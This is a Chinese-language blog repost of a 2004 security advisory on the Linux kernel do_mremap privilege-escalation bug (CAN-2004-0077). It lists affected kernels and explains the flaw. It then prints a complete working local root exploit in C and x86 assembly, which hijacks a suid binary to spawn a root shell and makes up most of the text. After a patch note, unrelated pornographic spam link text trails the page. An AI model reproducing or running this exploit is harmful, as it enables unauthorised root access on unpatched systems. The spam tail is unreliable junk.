• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            elva

            Linux Kernel do_mremap VMA本地權限提升漏洞

            日期:2004-03-05

            發布日期:2004-02-18
            更新日期:2004-03-03

            受影響系統:
            Linux kernel 2.6.2
            Linux kernel 2.6.1
            Linux kernel 2.6
            Linux kernel 2.4.9
            Linux kernel 2.4.8
            Linux kernel 2.4.7
            Linux kernel 2.4.6
            Linux kernel 2.4.5
            Linux kernel 2.4.4
            Linux kernel 2.4.3
            Linux kernel 2.4.24
            Linux kernel 2.4.23
            Linux kernel 2.4.22
            Linux kernel 2.4.21
            Linux kernel 2.4.20
            Linux kernel 2.4.2
            Linux kernel 2.4.19
            Linux kernel 2.4.17
            Linux kernel 2.4.16
            Linux kernel 2.4.15
            Linux kernel 2.4.14
            Linux kernel 2.4.13
            Linux kernel 2.4.12
            Linux kernel 2.4.11
            Linux kernel 2.4.10
            Linux kernel 2.4.1
            Linux kernel 2.4
            Linux kernel 2.2.9
            Linux kernel 2.2.8
            Linux kernel 2.2.7
            Linux kernel 2.2.6
            Linux kernel 2.2.5
            Linux kernel 2.2.4
            Linux kernel 2.2.3
            Linux kernel 2.2.25
            Linux kernel 2.2.24
            Linux kernel 2.2.23
            Linux kernel 2.2.22
            Linux kernel 2.2.21
            Linux kernel 2.2.20
            Linux kernel 2.2.2
            Linux kernel 2.2.19
            Linux kernel 2.2.18
            Linux kernel 2.2.17
            Linux kernel 2.2.16
            Linux kernel 2.2.15
            Linux kernel 2.2.14
            Linux kernel 2.2.13
            Linux kernel 2.2.12
            Linux kernel 2.2.11
            Linux kernel 2.2.10
            Linux kernel 2.2.1
            Linux kernel 2.2
            Linux kernel 2.4.18
                - Conectiva Linux 8.0
                - Conectiva Linux 7.0
                - Debian Linux 3.0
                - Mandrake Linux 8.2
                - Mandrake Linux 8.1
                - RedHat Linux 8.0
                - RedHat Linux 7.3
                - Slackware Linux 8.1
                - Slackware Linux 8.0
                - SuSE Linux 8.2
                - SuSE Linux 8.1
            不受影響系統:
            Linux kernel 2.6.3
            Linux kernel 2.4.25
            Linux kernel 2.2.26
            描述:
            --------------------------------------------------------------------------------
            CVE(CAN) ID: CAN-2004-0077

            Linux是一款開放源代碼操作系統。

            Linux內核中mremap(2)系統調用由于沒有對函數返回值進行檢查,本地攻擊者可以利用這個漏洞獲得root用戶權限。

            mremap系統調用被應用程序用來改變映射區段(VMAs)的邊界地址。mremap()系統調用提供對已存在虛擬內存區域調整大小。從VMA區域移動部分虛擬內存到新的區域需要建立一個新的VMA描述符,也就是把由VMA描述的下面的頁面表條目(page table entries)從老的區域拷貝到進程頁表中新的位置。

            要完成這個任務do_mremap代碼需要調用do_munmap()內部內核函數去清除在新位置中任何已經存在的內存映射,也就是刪除舊的虛擬內存映射。不幸的是代碼沒有對do_munmap()函數的返回值進行檢查,如果可用VMA描述符的最大數已經超出,那么函數調用就可能失敗。

            isec利用這個漏洞通過頁表緩沖(page table cache)使包含在頁中的惡意指令被執行。詳細方法可參看如下地址:

            http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt

            <*來源:Paul Starzetz (paul@starzetz.de)
              
              鏈接:http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt
            *>

            測試方法:
            --------------------------------------------------------------------------------

            警 告

            以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

            Paul Starzetz (paul@starzetz.de)提供了如下測試方法:

            /*
            *
            *    mremap missing do_munmap return check kernel exploit
            *
            *    gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
            *    ./mremap_pte [suid] [[shell]]
            *
            *    Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
            *
            *    THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
            *    AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
            *    WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
            *
            */

            #include <stdio.h>
            #include <stdlib.h>
            #include <errno.h>
            #include <unistd.h>
            #include <syscall.h>
            #include <signal.h>
            #include <time.h>
            #include <sched.h>

            #include <sys/mman.h>
            #include <sys/wait.h>
            #include <sys/utsname.h>

            #include <asm/page.h>


            #define str(s) #s
            #define xstr(s) str(s)

            //    this is for standard kernels with 3/1 split
            #define STARTADDR    0x40000000
            #define PGD_SIZE    (PAGE_SIZE * 1024)
            #define VICTIM        (STARTADDR + PGD_SIZE)
            #define MMAP_BASE    (STARTADDR + 3*PGD_SIZE)

            #define DSIGNAL        SIGCHLD
            #define CLONEFL        (DSIGNAL|CLONE_VFORK|CLONE_VM)

            #define MREMAP_MAYMOVE    ( (1UL) << 0 )
            #define MREMAP_FIXED    ( (1UL) << 1 )

            #define __NR_sys_mremap    __NR_mremap


            //    how many ld.so pages? this is the .text section length (like from cat    
            //    /proc/self/maps) in pages
            #define LINKERPAGES    0x14

            //    suid victim
            static char *suid="/bin/ping";

            //    shell to start
            static char *launch="/bin/bash";


            _syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,        
                  ulong, e);
            unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
                         unsigned long new_len, unsigned long flags,
                         unsigned long new_addr);

            static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
            static int i, pid=0;
            static char *env[2], *argv[2];
            static ulong ret;


            //    code to appear inside the suid image
            static void suid_code(void)
            {
            __asm__(
                "        call    callme                \n"

            //    setresuid(0, 0, 0), setresgid(0, 0, 0)
                "jumpme:    xorl    %ebx, %ebx            \n"
                "        xorl    %ecx, %ecx            \n"
                "        xorl    %edx, %edx            \n"
                "        xorl    %eax, %eax            \n"
                "        mov    $"xstr(__NR_setresuid)", %al    \n"
                "        int    $0x80                \n"
                "        mov    $"xstr(__NR_setresgid)", %al    \n"
                "        int    $0x80                \n"

            //    execve(launch)
                "        popl    %ebx                \n"
                "        andl    $0xfffff000, %ebx        \n"
                "        xorl    %eax, %eax            \n"
                "        pushl    %eax                \n"
                "        movl    %esp, %edx            \n"
                "        pushl    %ebx                \n"
                "        movl    %esp, %ecx            \n"
                "        mov    $"xstr(__NR_execve)", %al    \n"
                "        int    $0x80                \n"

            //    exit
                "        xorl    %eax, %eax            \n"
                "        mov    $"xstr(__NR_exit)", %al        \n"
                "        int    $0x80                \n"

                "callme:    jmp    jumpme                \n"
                );
            }


            static int suid_code_end(int v)
            {
            return v+1;
            }


            static inline void get_esp(void)
            {
            __asm__(
                "        movl    %%esp, %%eax            \n"
                "        andl    $0xfffff000, %%eax        \n"
                "        movl    %%eax, %0            \n"
                : : "m"(old_esp)
                );
            }


            static inline void cloneme(void)
            {
            __asm__(
                "        pusha                    \n"
                "        movl $("xstr(CLONEFL)"), %%ebx        \n"
                "        movl %%esp, %%ecx            \n"
                "        movl $"xstr(__NR_clone)", %%eax        \n"
                "        int  $0x80                \n"
                "        movl %%eax, %0                \n"
                "        popa                    \n"
                : : "m"(pid)
                );
            }


            static inline void my_execve(void)
            {
            __asm__(
                "        movl %1, %%ebx                \n"
                "        movl %2, %%ecx                \n"
                "        movl %3, %%edx                \n"
                "        movl $"xstr(__NR_execve)", %%eax    \n"
                "        int  $0x80                \n"
                : "=a"(ret)
                : "m"(suid), "m"(argv), "m"(env)
                );
            }


            static inline void pte_populate(unsigned addr)
            {
            unsigned r;
            char *ptr;

                memset((void*)addr, 0x90, PAGE_SIZE);
                r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
                ptr = (void*) (addr + PAGE_SIZE);
                ptr -= r+1;
                memcpy(ptr, suid_code, r);
                memcpy((void*)addr, launch, strlen(launch)+1);
            }


            //    hit VMA limit & populate PTEs
            static void exhaust(void)
            {
            //    mmap PTE donor
                t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
                      MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
                if(MAP_FAILED==t)
                    goto failed;

            //    prepare shell code pages
                for(i=2; i<LINKERPAGES+1; i++)
                    pte_populate(victim + PAGE_SIZE*i);
                i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
                if(i)
                    goto failed;

            //    lock unmap
                base = MMAP_BASE;
                cnt = 0;
                prot = PROT_READ;
                printf("\n"); fflush(stdout);
                for(;;) {
                    t = mmap((void*)base, PAGE_SIZE, prot,
                         MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
                    if(MAP_FAILED==t) {
                        if(ENOMEM==errno)
                            break;
                        else
                            goto failed;
                    }
                    if( !(cnt%512) || cnt>65520 )
                        printf("\r    MMAP #%d  0x%.8x - 0x%.8lx", cnt, base,
                        base+PAGE_SIZE); fflush(stdout);
                    base += PAGE_SIZE;
                    prot ^= PROT_EXEC;
                    cnt++;
                }

            //    move PTEs & populate page table cache
                ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,    
                         MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
                if(-1==ret)
                    goto failed;

                munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
                t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,        
                     PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
                     0);
                if(MAP_FAILED==t)
                    goto failed;

                *t = *((unsigned *)old_esp);
                munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
                printf("\n[+] Success\n\n"); fflush(stdout);
                return;

            failed:
                printf("\n[-] Failed\n"); fflush(stdout);
                _exit(0);
            }


            static inline void check_kver(void)
            {
            static struct utsname un;
            int a=0, b=0, c=0, v=0, e=0, n;

                uname(&un);
                n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
                if(n!=3 || a!=2) {
                    printf("\n[-] invalid kernel version string\n");
                    _exit(0);
                }

                if(b==2) {
                    if(c<=25)
                        v=1;
                }
                else if(b==3) {
                    if(c<=99)
                        v=1;
                }
                else if(b==4) {
                    if(c>18 && c<=24)
                        v=1, e=1;
                    else if(c>24)
                        v=0, e=0;
                    else
                        v=1, e=0;
                }
                else if(b==5 && c<=75)
                    v=1, e=1;
                else if(b==6 && c<=2)
                    v=1, e=1;

                printf("\n[+] kernel %s  vulnerable: %s  exploitable %s",
                    un.release, v? "YES" : "NO", e? "YES" : "NO" );
                fflush(stdout);

                if(v && e)
                    return;
                _exit(0);
            }


            int main(int ac, char **av)
            {
            //    prepare
                check_kver();
                memset(env, 0, sizeof(env));
                memset(argv, 0, sizeof(argv));
                if(ac>1) suid=av[1];
                if(ac>2) launch=av[2];
                argv[0] = suid;
                get_esp();

            //    mmap & clone & execve
                exhaust();
                cloneme();
                if(!pid) {
                    my_execve();
                } else {
                    waitpid(pid, 0, 0);
                }

            return 0;
            }

            建議:
            --------------------------------------------------------------------------------
            廠商補?。?br>
            Linux
            -----
            目前廠商已經發布了升級補丁以修復這個安全問題,請到廠商的主頁下載:

            http://www.kernel.org/


            下載 

            posted on 2007-06-01 03:10 葉子 閱讀(515) 評論(0)  編輯 收藏 引用 所屬分類: 網絡安全

            东方aⅴ免费观看久久av| 波多野结衣AV无码久久一区| 欧美综合天天夜夜久久| 久久精品成人欧美大片| 乱亲女H秽乱长久久久| 国产精品日韩欧美久久综合| 狠狠色丁香久久婷婷综合| 狠狠久久综合伊人不卡| 老色鬼久久亚洲AV综合| 欧美一区二区久久精品| 99久久免费只有精品国产| 精品久久久久久久久免费影院| 久久久久免费精品国产| 午夜人妻久久久久久久久| 无码任你躁久久久久久久| 久久精品国产亚洲网站| 人妻精品久久久久中文字幕69| 国内精品伊人久久久久影院对白| 久久综合久久自在自线精品自| 中文字幕无码久久精品青草| 国产精品青草久久久久福利99| 97精品久久天干天天天按摩| 久久综合久久自在自线精品自| 久久国语露脸国产精品电影 | 亚洲狠狠婷婷综合久久久久| 久久亚洲av无码精品浪潮| 国产精品内射久久久久欢欢| 亚洲一区二区三区日本久久九| 久久国产精品99精品国产| 伊人久久精品无码二区麻豆| 天天躁日日躁狠狠久久| 伊人色综合久久天天人手人婷| 久久久久久曰本AV免费免费| 一本一道久久综合狠狠老| 一本一本久久A久久综合精品| 国产亚洲精久久久久久无码77777 国产亚洲精品久久久久秋霞 | 日日狠狠久久偷偷色综合0| 久久夜色撩人精品国产| 伊人久久成人成综合网222| 亚洲Av无码国产情品久久| 国产成人精品三上悠亚久久|